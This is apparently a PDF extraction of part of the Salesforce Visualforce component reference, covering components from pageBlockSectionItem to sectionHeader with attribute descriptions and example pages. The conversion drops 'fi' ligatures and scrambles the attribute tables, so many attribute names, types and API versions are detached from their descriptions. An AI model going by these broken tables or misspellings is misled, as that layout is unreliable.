Description The CSS style used to display the content of the right, "data" cell of the pageBlockSection column. The CSS style class used to display the content of the right, "data" cell of the pageBlockSection column. The text displayed when you hover over the right, "data" cell of the pageBlockSection column. The direction in which the generated HTML component is read. Possible values include "RTL" (right to left) or "LTR" (left to right). The help text that is displayed next to this eld as a hover-based tooltip, similar to the text that is displayed next to standard Salesforce elds if custom help is dened for the eld in Setup. Note that help text only displays if the showHeader attribute of the parent page is set to true. An identier that allows the pageBlockSectionItem component to be referenced by other components in the page.
Required? API Access Version 11.0 11.0 11.0 11.0 global global global global
String
String String
helpText
String
12.0
global
id
String
11.0
global
303
apex:pageBlockSectionItem
Description The CSS style used to display the content of the left, "label" cell of the pageBlockSection column. The CSS style class used to display the content of the left, "label" cell of the pageBlockSection column. The text displayed when you hover over the left, "label" cell of the pageBlockSection column. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onDataclick event occurs--that is, if the user clicks the right, "data" cell of the pageBlockSection column. The JavaScript invoked if the onDatadblclick event occurs--that is, if the user clicks the right, "data" cell of the pageBlockSection column twice. The JavaScript invoked if the onDatakeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onDatakeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onDatakeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onDatamousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onDatamousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onDatamouseout event occurs--that is, if the user moves the mouse pointer away from the right, "data" cell of the pageBlockSection column. The JavaScript invoked if the onDatamouseover event occurs--that is, if the user moves the mouse pointer over the right, "data" cell of the pageBlockSection column. The JavaScript invoked if the onDatamouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the onLabelclick event occurs--that is, if the user clicks the left, "label" cell of the pageBlockSection column. The JavaScript invoked if the onLabeldblclick event occurs--that is, if the user clicks the left, "label" cell of the pageBlockSection column twice.
Required? API Access Version 11.0 11.0 11.0 11.0 global global global global
String
String String
onDataclick
String
11.0
global
onDatadblclick String
11.0
global
11.0 11.0
global global
onDatakeyup
String
onDatamouseover String
11.0
global
11.0 11.0
global global
String
onLabeldblclick String
11.0
global
304
apex:pageBlockTable
Description The JavaScript invoked if the onLabelkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onLabelkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onLabelkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onLabelmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onLabelmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onLabelmouseout event occurs--that is, if the user moves the mouse pointer away from the left, "label" cell of the pageBlockSection column. The JavaScript invoked if the onLabelmouseover event occurs--that is, if the user moves the mouse pointer over the left, "label" cell of the pageBlockSection column. The JavaScript invoked if the onLabelmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
onLabelkeyup
String
onLabelmouseover String
11.0
global
11.0 11.0
global global
Boolean
apex:pageBlockTable
A list of data displayed as a table within either an <apex:pageBlock> or <apex:pageBlockSection> component, similar to a related list or list view in a standard Salesforce page. Like an <apex:dataTable>, an <apex:pageBlockTable> is dened by iterating over a set of data, displaying information about one item of data per row. The set of data can contain up to 1,000 items. The body of the <apex:pageBlockTable> contains one or more column components that specify what information should be displayed for each item of data, similar to a table. Unlike the <apex:dataTable> component, the default styling for <apex:pageBlockTable> matches standard Salesforce styles. Any additional styles specied with <apex:pageBlockTable> attributes are appended to the standard Salesforce styles. Note that if you specify an sObject eld as the value attribute for a column, the associated label for that eld is used as the column header by default. To override this behavior, use the headerValue attribute on the column, or the column's header facet.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
305
apex:pageBlockTable
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: --> <apex:page standardController="Account"> <apex:pageBlock title="My Content"> <apex:pageBlockTable value="{!account.Contacts}" var="item"> <apex:column value="{!item.name}"/> </apex:pageBlockTable> </apex:pageBlock> </apex:page>
Attributes
Attribute Name Attribute Type
align
Description The position of the rendered HTML table with respect to the page. Possible values include "left", "center", or "right". If left unspecied, this value defaults to "left". This attribute was deprecated in Salesforce API version 18.0 and has no effect on the page. The width of the frame around the rendered HTML table, in pixels. The style class used to display the caption for the rendered HTML table, if a caption facet is specied. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style used to display the caption for the rendered HTML table, if a caption facet is specied. This attribute is used primarily for adding inline CSS styles. The amount of space between the border of each list cell and its content. If the value of this attribute is a pixel length, all four margins are this distance from the content. If the value of the attribute is a percentage length, the top and bottom margins are equally separated from the content based on a percentage of the available vertical space, and the left and right margins are equally separated from the content based on a percentage of the available horizontal space.
String
captionStyle
String
12.0
global
cellpadding
String
12.0
global
306
apex:pageBlockTable
Description The amount of space between the border of each list cell and the border of the other cells surrounding it and/or the list's edge. This value must be specied in pixels or percentage. A comma-separated list of one or more classes associated with the list's columns, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. If more than one class is specied, the classes are applied in a repeating fashion to all columns. For example, if you specify columnClasses="classA, classB", then the rst column is styled with classA, the second column is styled with classB, the third column is styled with classA, the fourth column is styled with classB, and so on. The number of columns in this page block table. A comma-separated list of the widths applied to each list column. Values can be expressed as pixels (for example, columnsWidth="100px, 100px"). The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). The rst element in the iteration visibly rendered in the page block table, where 0 is the index of the rst element in the set of data specied by the value attribute. For example, if you did not want to display the rst two elements in the set of records specied by the value attribute, set rst="2". The style class used to display the footer (bottom row) for the rendered HTML table, if a footer facet is specied. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The borders drawn for this page block table. Possible values include "none", "above", "below", "hsides", "vsides", "lhs", "rhs", "box", and "border". If not specied, this value defaults to "border". The style class used to display the header for the rendered HTML table, if a header facet is specied. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. An identier that allows the pageBlockTable component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications.
String
columnClasses String
12.0
global
columns columnsWidth
Integer String
12.0 12.0
global global
dir
String
12.0
global
first
Integer
12.0
global
footerClass
String
12.0
global
frame
String
12.0
global
headerClass
String
12.0
global
id lang
String String
12.0 12.0
global global
307
apex:pageBlockTable
Description The JavaScript invoked if the onclick event occurs--that is, if the user clicks the page block table. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the page block table twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the page block table. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the page block table. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the onRowClick event occurs--that is, if the user clicks a row in the page block table. The JavaScript invoked if the onRowDblClick event occurs--that is, if the user clicks a row in the page block list table. The JavaScript invoked if the onRowMouseDown event occurs--that is, if the user clicks a mouse button in a row of the page block table. The JavaScript invoked if the onRowMouseMove event occurs--that is, if the user moves the mouse pointer over a row of the page block table. The JavaScript invoked if the onRowMouseOut event occurs--that is, if the user moves the mouse pointer away from a row in the page block table. The JavaScript invoked if the onRowMouseOver event occurs--that is, if the user moves the mouse pointer over a row in the page block table.
String String
onkeydown onkeypress
String String
12.0 12.0
global global
onmouseover
String
12.0
global
onmouseup onRowClick
String String
12.0 12.0
global global
onRowDblClick String
12.0
global
onRowMouseDown String
12.0
global
onRowMouseMove String
12.0
global
onRowMouseOut String
12.0
global
onRowMouseOver String
12.0
global
308
apex:pageBlockTable
Description The JavaScript invoked if the onRowMouseUp event occurs--that is, if the user releases the mouse button over a row in the page block table. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A comma-separated list of one or more classes associated with the page block table's rows, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. If more than one class is specied, the classes are applied in a repeating fashion to all rows. For example, if you specify columnRows="classA, classB", then the rst row is styled with classA, the second row is styled with classB, the third row is styled with classA, the fourth row is styled with classB, and so on. The number of rows in this page block table. The borders drawn between cells in the page block table. Possible values include "none", "groups", "rows", "cols", and "all". If not specied, this value defaults to "none". The style used to display the pageBlockTable component, used primarily for adding inline CSS styles. The style class used to display the pageBlockTable component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. A summary of the page block table's purpose and structure for Section 508 compliance. The text to display as a tooltip when the user's mouse pointer hovers over this component.
String
rendered
Boolean
12.0
global
rowClasses
String
12.0
global
rows rules
Integer String
12.0 12.0
global global
style styleClass
String String
12.0 12.0
global global
The collection of data displayed in the page block table. Yes The name of the variable that represents one element in Yes the collection of data specied by the value attribute. You can then use this variable to display the element itself in the body of the pageBlockTable component tag. The width of the entire pageBlockTable, expressed either as a relative percentage to the total amount of available horizontal space (for example, width="80%"), or as the number of pixels (for example, width="800px").
width
String
12.0
global
309
apex:pageMessage
Facets
Facet Name
caption
Description
API Version
The components that appear in the caption for the page block table. Note that the 12.0 order in which a caption facet appears in the body of a pageBlockTable component does not matter, because any facet with name="caption" will control the appearance of the table's caption. The components that appear in the footer row for the page block table. Note that 12.0 the order in which a footer facet appears in the body of a pageBlockTable component does not matter, because any facet with name="footer" will control the appearance of the nal row in the table. The components that appear in the header row for the page block table. Note that 12.0 the order in which a header facet appears in the body of a pageBlockTable component does not matter, because any facet with name="header" will control the appearance of the rst row in the table.
footer
header
apex:pageMessage
This component should be used for presenting custom messages in the page using the Salesforce pattern for errors, warnings and other types of messages for a given severity. See also the pageMessages component.
Example
<apex:page standardController="Opportunity" recordSetVar="opportunities" tabStyle="Opportunity" sidebar="false"> <p>Enter an alphabetic character for the "Close Date," then click Save to see what happens.</p> <apex:form > <apex:pageBlock > <apex:pageMessage summary="This pageMessage will always display. Validation error messages appear in the pageMessages component." severity="warning" strength="3" /> <apex:pageMessages /> <apex:pageBlockButtons > <apex:commandButton value="Save" action="{!save}"/> </apex:pageBlockButtons> <apex:pageBlockTable value="{!opportunities}" var="opp"> <apex:column value="{!opp.name}"/> <apex:column headerValue="Close Date"> <apex:inputField value="{!opp.closeDate}"/> </apex:column> </apex:pageBlockTable> </apex:pageBlock> </apex:form> </apex:page>
310
apex:pageMessages
Attributes
Attribute Name Attribute Type
detail escape
Description The detailed description of the information. A Boolean value that species whether sensitive HTML and XML characters should be escaped in the HTML output generated by this component. If you do not specify escape="false", the character escape sequence displays as written. Be aware that setting this value to "false" may be a security risk because it allows arbitrary content, including JavaScript, that could be used in a malicious manner. An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The severity of the message. Values supported are: 'conrm', 'info', 'warning', 'error' The strength of the message. This controls the visibility and size of the icon displayed next to the message. Use 0 for no image, or 1-3 (highest strength, largest icon). The summary message. The title text for the message.
String Boolean
id rendered
String Boolean
21.0 21.0
global global
severity strength
String Integer
Yes
14.0 14.0
summary title
String String
14.0 14.0
apex:pageMessages
This component displays all messages that were generated for all components on the current page, presented using the Salesforce styling.
Example
<apex:page standardController="Opportunity" recordSetVar="opportunities" tabStyle="Opportunity" sidebar="false"> <p>Enter an alphabetic character for the "Close Date," then click Save to see what happens.</p> <apex:form > <apex:pageBlock > <apex:pageMessages /> <apex:pageBlockButtons > <apex:commandButton value="Save" action="{!save}"/> </apex:pageBlockButtons> <apex:pageBlockTable value="{!opportunities}" var="opp"> <apex:column value="{!opp.name}"/> <apex:column headerValue="Close Date"> <apex:inputField value="{!opp.closeDate}"/> </apex:column>
311
apex:panelBar
Attributes
Attribute Name Attribute Type
escape
Description A Boolean value that species whether sensitive HTML and XML characters should be escaped in the HTML output generated by this component. If you do not specify escape="false", the character escape sequence displays as written. Be aware that setting this value to "false" may be a security risk because it allows arbitrary content, including JavaScript, that could be used in a malicious manner. An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether to display the detail portion of the messages. If not specifed this value defaults to false.
Boolean
id rendered
String Boolean
21.0 21.0
global global
showDetail
Boolean
14.0
apex:panelBar
A page area that includes one or more <apex:panelBarItem> tags that can expand when a user clicks the associated header. When an <apex:panelBarItem> is expanded, the header and the content of the item are displayed while the content of all other items are hidden. When another <apex:panelBarItem> is expanded, the content of the original item is hidden again. An <apex:panelBar> can include up to 1,000 <apex:panelBarItem> tags.
Example
<!-- Page: panelBar --> <!-- Click on Item 1, Item 2, or Item 3 to display the content of the panel --> <apex:page> <apex:panelBar> <apex:panelBarItem label="Item 1">data 1</apex:panelBarItem> <apex:panelBarItem label="Item 2">data 2</apex:panelBarItem> <apex:panelBarItem label="Item 3">data 3</apex:panelBarItem> </apex:panelBar>
312
apex:panelBar
</apex:page>
Attributes
Attribute Name Attribute Type
contentClass
Description The style class used to display the content of any panelBarItem in the panelBar component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style used to display the content of any panelBarItem in the panelBar component, used primarily for adding inline CSS styles. The style class used to display all panelBarItem headers in the panelBar component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style class used to display the header of any panelBarItem when it is expanded, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style used to display all panelBarItem headers in the panelBar component, used primarily for adding inline CSS styles. The style used to display the header of any panelBarItem when it is expanded, used primarily for adding inline CSS styles. The height of the panel bar when expanded, expressed either as a percentage of the available vertical space (for example, height="50%") or as a number of pixels (for example, height="200px"). If not specied, this value defaults to 100%. An identier that allows the panelBar component to be referenced by other components in the page. A collection of data processed when the panelBar is rendered. When used, the body of the panelBar component is repeated once for each item in the collection, similar to a dataTable or repeat component. See also the var attribute. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display all portions of the panelBar component, used primarily for adding inline CSS styles.
String
contentStyle
String
10.0
global
headerClass
String
10.0
global
headerClassActive String
10.0
global
headerStyle
String
10.0
global
headerStyleActive String
10.0
global
height
String
10.0
global
id items
String Object
10.0 11.0
global global
rendered
Boolean
10.0
global
style
String
10.0
global
313
apex:panelBarItem
Description The style class used to display all portions of the panelBar component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The implementation method for switching between panelBar items. Possible values include "client", "server", and "ajax". If not specied, this value defaults to "server". The ID of the panelBarItem initially selected when the panelBar is displayed. The name of the variable that represents one element in the collection of data specied by the items attribute. You can then use this variable to display the element itself in the body of the panelBar component tag. The width of the panel bar, expressed either as a percentage of the available horizontal space (for example, width="50%") or as a number of pixels (for example, width="800px"). If not specied, this value defaults to 100%.
String
switchType
String
10.0
global
value var
Object String
10.0 11.0
global global
width
String
10.0
global
apex:panelBarItem
A section of an <apex:panelBar> that can expand or retract when a user clicks the section header. When expanded, the header and the content of the <apex:panelBarItem> is displayed. When retracted, only the header of the <apex:panelBarItem> displays.
<!-- Page: panelBar --> <!-- Click on Item 1, Item 2, or Item 3 to display the content of the panel --> <apex:page> <apex:panelBar> <apex:panelBarItem label="Item 1">data 1</apex:panelBarItem> <apex:panelBarItem label="Item 2">data 2</apex:panelBarItem> <apex:panelBarItem label="Item 3">data 3</apex:panelBarItem> </apex:panelBar> </apex:page>
314
apex:panelBarItem
<apex:panelBar> <apex:panelBarItem label="Item One" onenter="alert('Entering item one');" onleave="alert('Leaving item one');"> Item one content </apex:panelBarItem> <apex:panelBarItem label="Item Two" onenter="alert('Entering item two');" onleave="alert('Leaving item two');"> Item two content </apex:panelBarItem> </apex:panelBar> </apex:page>
Attributes
Attribute Name Attribute Type
contentClass
Description The style class used to display the content of the panelBarItem component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style used to display the content of the panelBarItem component, used primarily for adding inline CSS styles. A Boolean value that species whether the content of this panelBarItem is displayed. The style class used to display the header of the panelBarItem component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style class used to display the header of the panelBarItem component when the content of the panelBarItem is displayed, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style used to display the header of the panelBarItem component, used primarily for adding inline CSS styles.
String
headerClassActive String
10.0
global
headerStyle
String
10.0
global
315
apex:panelGrid
Description The style used to display the header of the panelBarItem component when the content of the panelBarItem is displayed, used primarily for adding inline CSS styles. An identier that allows the panelBarItem to be referenced by other components in the page. The text displayed as the header of the panelBarItem component. The name of the panelBarItem. Use the value of this attribute to specify the default expanded panelItem for the panelBar. The JavaScript invoked when the panelBarItem is not selected and the user clicks on the component to select it. The JavaScript invoked when the user selects a different panelBarItem. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
id label name
onenter
String
16.0
onleave rendered
String Boolean
apex:panelGrid
Renders an HTML table element in which each component found in the body of the <apex:panelGrid> is placed into a corresponding cell in the rst row until the number of columns is reached. At that point, the next component wraps to the next row and is placed in the rst cell. Note that if an <apex:repeat> component is used within an <apex:panelGrid> component, all content generated by the <apex:repeat> component is placed in a single <apex:panelGrid> cell. The <apex:panelGrid> component differs from <apex:dataTable> because it does not process a set of data with an iteration variable. See also: <apex:panelGroup>
Example
<apex:page> <apex:panelGrid columns="3" id="theGrid"> <apex:outputText value="First" id="theFirst"/> <apex:outputText value="Second" id="theSecond"/> <apex:outputText value="Third" id="theThird"/> <apex:outputText value="Fourth" id="theFourth"/> </apex:panelGrid> </apex:page>
316
apex:panelGrid
Attributes
Attribute Name Attribute Type
bgcolor border captionClass
Description The background color of the rendered HTML table. The width of the frame around the rendered HTML table, in pixels. The style class used to display the caption for the rendered HTML table, if a caption facet is specied. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style used to display the caption for the rendered HTML table, if a caption facet is specied. This attribute is used primarily for adding inline CSS styles The amount of space between the border of each table cell and its contents. If the value of this attribute is a pixel length, all four margins are this distance from the contents. If the value of the attribute is a percentage length, the top and bottom margins are equally separated from the content based on a percentage of the available vertical space, and the left and right margins are equally separated from the content based on a percentage of the available horizontal space. The amount of space between the border of each table cell and the border of the other cells surrounding it and/or the table's edge. This value must be specied in pixels or percentage. A comma-separated list of one or more CSS classes associated with the table's columns. If more than one CSS class is specied, the classes are applied in a repeating fashion to all columns. For example, if you specify columnClasses="classA, classB", then the rst column is styled with classA, the second column is styled with classB, the third column is styled with classA, the fourth column is styled with classB, and so on. The number of columns in this panelGrid. The direction in which the generated HTML component is read. Possible values include "RTL" (right to left) or "LTR" (left to right).
Required? API Access Version 10.0 10.0 10.0 global global global
captionStyle
String
10.0
global
cellpadding
String
10.0
global
cellspacing
String
10.0
global
columnClasses String
10.0
global
columns dir
Integer String
10.0 10.0
global global
317
apex:panelGrid
Description The style class used to display the footer (bottom row) for the rendered HTML table, if a footer facet is specied. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The borders drawn for this table. Possible values include "none", "above", "below", "hsides", "vsides", "lhs", "rhs", "box", and "border". If not specied, this value defaults to "border". See also the rules attribute. The style class used to display the header for the rendered HTML table, if a header facet is specied. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. An identier that allows the panelGrid component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the panel grid. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the panel grid twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the panel grid. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the panel grid. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
String
frame
String
10.0
global
headerClass
String
10.0
global
id lang
String String
10.0 10.0
global global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
318
apex:panelGrid
Description A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A comma-separated list of one or more CSS classes associated with the table's rows. If more than one CSS class is specied, the classes are applied in a repeating fashion to all rows. For example, if you specify columnRows="classA, classB", then the rst row is styled with classA, the second row is styled with classB, the third row is styled with classA, the fourth row is styled with classB, and so on. The borders drawn between cells in the table. Possible values include "none", "groups", "rows", "cols", and "all". If not specied, this value defaults to "none". See also the frames attribute. The style used to display the panelGrid component, used primarily for adding inline CSS styles. The style class used to display the panelGrid component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. A summary of the table's purpose and structure for Section 508 compliance. The text to display as a tooltip when the user's mouse pointer hovers over this component. The width of the entire table, expressed either as a relative percentage to the total amount of available horizontal space (for example, width="80%"), or as the number of pixels (for example, width="800px").
Boolean
rowClasses
String
10.0
global
rules
String
10.0
global
style styleClass
String String
10.0 10.0
global global
Facets
Facet Name
caption
Description
API Version
The components that appear in the caption for the table. Note that the order in 10.0 which a caption facet appears in the body of a panelGrid component does not matter, because any facet with name="caption" will control the appearance of the table's caption. The components that appear in the footer row for the table. Note that the order in which a footer facet appears in the body of a panelGrid component does not matter, because any facet with name="footer" will control the appearance of the nal row in the table. 10.0
footer
header
The components that appear in the header row for the table. Note that the order 10.0 in which a header facet appears in the body of a panelGrid component does not
319
apex:panelGroup
Facet Name
Description matter, because any facet with name="header" will control the appearance of the rst row in the table.
API Version
apex:panelGroup
A container for multiple child components so that they can be displayed in a single panelGrid cell. An <apex:panelGroup> must be a child component of an <apex:panelGrid>.
Example
<apex:page> <apex:panelGrid columns="3" id="theGrid"> <apex:outputText value="First" id="theFirst"/> <apex:outputText value="Second" id="theSecond"/> <apex:panelGroup id="theGroup"> <apex:outputText value="Third" id="theThird"/> <apex:outputText value="Fourth" id="theFourth"/> </apex:panelGroup> </apex:panelGrid> </apex:page>
Attributes
Attribute Name Attribute Type
id layout
Description An identier that allows the panelGrid component to be referenced by other components in the page. The layout style for the panel group. Possible values include "block" (which generates an HTML div tag), "inline" (which generates an HTML span tag), and "none" (which does not generate an HTML tag). If not specied, this value defaults to "inline".
String String
320
apex:param
Description A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display the panelGroup component, used primarily for adding inline CSS styles. The style class used to display the panelGroup component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
Boolean
style styleClass
String String
10.0 10.0
global global
apex:param
A parameter for the parent component. The <apex:param> component can only be a child of the following components:
<apex:actionFunction> <apex:actionSupport> <apex:commandButton> <apex:commandLink> <apex:outputLink> <apex:outputText> <flow:interview>
Within <apex:outputText>, there is support for the <apex:param> tag to match the syntax of the MessageFormat class in Java. See the MessageFormat class JavaDocs for more information.
apex:outputLink Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid contact record in the URL. For example, if 001D000000IRt53 is the contact ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Contact"> <apex:outputLink value="http://google.com/search"> Search Google <apex:param name="q" value="{!contact.name}"/> </apex:outputLink> </apex:page>
321
apex:relatedList
Attributes
Attribute Name Attribute Type
assignTo
Description A setter method that assigns the value of this param to a variable in the associated Visualforce controller. If this attribute is used, getter and setter methods, or a property with get and set values, must be dened. An identier that allows the param component to be referenced by other components in the page. The key for this parameter, for example, name="Location".
Object
id name value
The data associated with this parameter, for example, Yes value="San Francisco, CA". The value attribute must be set to a string, number, or boolean value. Note that value is the only required attribute for a param component because it is all that is needed when performing a string replacement. For example, if you use "My {0}" as the value of an outputText component and then include a param in the body of the outputText component, the value of the param tag replaces the {0} in the output text string.
apex:relatedList
A list of Salesforce records that are related to a parent record with a lookup or master-detail relationship.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Account"> <apex:pageBlock> You're looking at some related lists for {!account.name}: </apex:pageBlock> <apex:relatedList list="Opportunities" /> <apex:relatedList list="Contacts"> <apex:facet name="header">Titles can be overriden with facets</apex:facet> </apex:relatedList> <apex:relatedList list="Cases" title="Or you can keep the image, but change the text" /> </apex:page>
322
apex:relatedList
Attributes
Attribute Name Attribute Type
id list
Description An identier that allows the relatedList component to be referenced by other components in the page.
String String
The related list to display. This does not need to be on Yes an object's page layout. To specify this value, use the name of the child relationship to the related object. For example, to display the Contacts related list that would normally display on an account detail page, use list="Contacts". The number of records to display by default in the related list. If not specied, this value defaults to 5. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The parent record from which the data and related list denition are derived. If not specied, and if using a standard controller, this value is automatically set to the value of the ID query string parameter in the page URL. The text displayed as the title of the related list. If not specied, this value defaults to the title specied in the application.
pageSize rendered
Integer Boolean
10.0 10.0
global global
subject
String
10.0
global
title
String
10.0
global
Facets
Facet Name
body
Description
API Version
The components that appear in the body of the related list. Note that the order in 10.0 which a body facet appears in a relatedList component does not matter, because any facet with name="body" will control the appearance of the related list body. If specied, this facet overrides any other content in the related list tag. The components that appear in the footer area of the related list. Note that the 10.0 order in which a footer facet appears in the body of a relatedList component does not matter, because any facet with name="footer" will control the appearance of the bottom of the related list. The components that appear in the header area of the related list. Note that the 10.0 order in which a header facet appears in the body of a relatedList component does not matter, because any facet with name="header" will control the appearance of the top of the related list.
footer
header
323
apex:repeat
apex:repeat
An iteration component that allows you to output the contents of a collection according to a structure that you specify. The collection can include up to 1,000 items. Note that if used within an <apex:pageBlockSection> or <apex:panelGrid> component, all content generated by a child <apex:repeat> component is placed in a single <apex:pageBlockSection> or <apex:panelGrid> cell. This component cannot be used as a direct child of the following components:
<apex:dataTable> <apex:pageBlockTable> <apex:panelBar> <apex:selectCheckboxes> <apex:selectList> <apex:selectRadio> <apex:tabPanel>
Example
<!-- Page: --> <apex:page controller="repeatCon" id="thePage"> <apex:repeat value="{!strings}" var="string" id="theRepeat"> <apex:outputText value="{!string}" id="theValue"/><br/> </apex:repeat> </apex:page>
324
apex:repeat
<!-- Page: --> <apex:page standardController="Account"> <table border="0" > <tr> <th>Case Number</th><th>Origin</th> <th>Creator Email</th><th>Status</th> </tr> <apex:repeat var="cases" value="{!Account.Cases}"> <tr> <td>{!cases.CaseNumber}</td> <td>{!cases.Origin}</td> <td>{!cases.Contact.email}</td> <td>{!cases.Status}</td> </tr> </apex:repeat> </table> </apex:page>
Attributes
Attribute Name Attribute Type
first
Description The rst element in the collection visibly rendered, where 0 is the index of the rst element in the set of data specied by the value attribute. For example, if you did not want to display the rst two elements in the set of records specied by the value attribute, set rst="2". An identier that allows the repeat component to be referenced by other components in the page.
Integer
id
String
10.0
global
325
apex:scontrol
Description A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The maximum number of items in the collection that are rendered. If this value is less than the number of items in the collection, the items at the end of the collection are not repeated. The collection of data that is iterated over. The name of the variable that represents the current item in the iteration.
Boolean
rows
Integer
10.0
global
value var
Object String
10.0 10.0
global global
apex:scontrol
An inline frame that displays an s-control. Note: s-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls remain unaffected.
Example
<!-- For this component to work, you must have a valid s-control defined. --> <apex:page> <apex:scontrol controlName="HelloWorld" /> </apex:page>
Attributes
Attribute Name Attribute Type
controlName height
Description The name of the s-control displayed. For this value, use the s-control's name eld, not its label. The height of the inline frame that should display the s-control, expressed either as a percentage of the total available vertical space (for example height="50%"), or as the number of pixels (for example, height="300px"). An identier that allows the s-control component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether the s-control can be scrolled. If not specied, this value defaults to true.
String Integer
id rendered
String Boolean
10.0 10.0
global global
scrollbars
Boolean
10.0
global
326
apex:sectionHeader
Description The ID of the record that should provide data for this s-control. The width of the inline frame that should display the s-control, expressed either as the number of pixels or as a percentage of the total available horizontal space. To specify the number of pixels, set this attribute to a number followed by px, (for example, width="600px"). To specify a percentage, set this attribute to a number preceded by a hyphen (for example width="-80").
Object Integer
apex:sectionHeader
A title bar for a page. In a standard Salesforce.com page, the title bar is a colored header displayed directly under the tab bar.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Opportunity" tabStyle="Opportunity" sidebar="false"> <apex:sectionHeader title="One of Your Opportunities" subtitle="Exciting !"/> <apex:detail subject="{!opportunity.ownerId}" relatedList="false" title="false"/> </apex:page>
Attributes
Attribute Name Attribute Type
description help
